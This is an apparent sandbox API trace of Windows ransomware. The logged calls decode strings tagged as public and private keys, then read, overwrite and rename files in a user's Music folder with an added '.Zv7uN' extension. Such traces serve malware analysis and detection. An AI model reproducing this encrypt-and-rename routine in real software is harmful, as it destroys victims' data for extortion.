lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.293] GetCurrentThreadId () returned 0xa30 [0086.293] GetCurrentThreadId () returned 0xa30 [0086.293] GetCurrentThreadId () returned 0xa30 [0086.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\beD8iWFmEj7sj19_RcTk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\bed8iwfmej7sj19_rctk.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.293] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.293] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.293] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x35c4 [0086.293] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.294] ReadFile (in: hFile=0x104, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x35c4, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f108*=0x35c4, lpOverlapped=0x0) returned 1 [0086.295] CloseHandle (hObject=0x104) returned 1 [0086.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\beD8iWFmEj7sj19_RcTk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\bed8iwfmej7sj19_rctk.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.298] WriteFile (in: hFile=0x104, lpBuffer=0x1f24130*, nNumberOfBytesToWrite=0x35c4, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f24130*, lpNumberOfBytesWritten=0x18f114*=0x35c4, lpOverlapped=0x0) returned 1 [0086.300] CloseHandle (hObject=0x104) returned 1 [0086.305] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\beD8iWFmEj7sj19_RcTk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\bed8iwfmej7sj19_rctk.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\beD8iWFmEj7sj19_RcTk.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\bed8iwfmej7sj19_rctk.m4a.zv7un")) returned 1 [0086.306] GetCurrentThreadId () returned 0xa30 [0086.306] GetCurrentThreadId () returned 0xa30 [0086.306] GetCurrentThreadId () returned 0xa30 [0086.306] GetCurrentThreadId () returned 0xa30 [0086.306] GetCurrentThreadId () returned 0xa30 [0086.306] GetCurrentThreadId () returned 0xa30 [0086.306] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2038d0, ftCreationTime.dwHighDateTime=0x1d5ddc5, ftLastAccessTime.dwLowDateTime=0x2b902f50, ftLastAccessTime.dwHighDateTime=0x1d5e2e7, ftLastWriteTime.dwLowDateTime=0x2b902f50, ftLastWriteTime.dwHighDateTime=0x1d5e2e7, nFileSizeHigh=0x0, nFileSizeLow=0x76c2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="gNZDQ.wav", cAlternateFileName="")) returned 1 [0086.306] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.306] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\gNZDQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\gnzdq.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2038d0, ftCreationTime.dwHighDateTime=0x1d5ddc5, ftLastAccessTime.dwLowDateTime=0x2b902f50, ftLastAccessTime.dwHighDateTime=0x1d5e2e7, ftLastWriteTime.dwLowDateTime=0x2b902f50, ftLastWriteTime.dwHighDateTime=0x1d5e2e7, nFileSizeHigh=0x0, nFileSizeLow=0x76c2)) returned 1 [0086.306] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\gNZDQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\gnzdq.wav")) returned 0x20 [0086.306] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\gNZDQ.wav", dwFileAttributes=0x80) returned 1 [0086.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.311] GetCurrentThreadId () returned 0xa30 [0086.311] GetCurrentThreadId () returned 0xa30 [0086.311] GetCurrentThreadId () returned 0xa30 [0086.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.312] GetCurrentThreadId () returned 0xa30 [0086.312] GetCurrentThreadId () returned 0xa30 [0086.312] GetCurrentThreadId () returned 0xa30 [0086.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\gNZDQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\gnzdq.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.313] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.313] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.313] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x76c2 [0086.313] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.313] ReadFile (in: hFile=0x104, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x76c2, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, 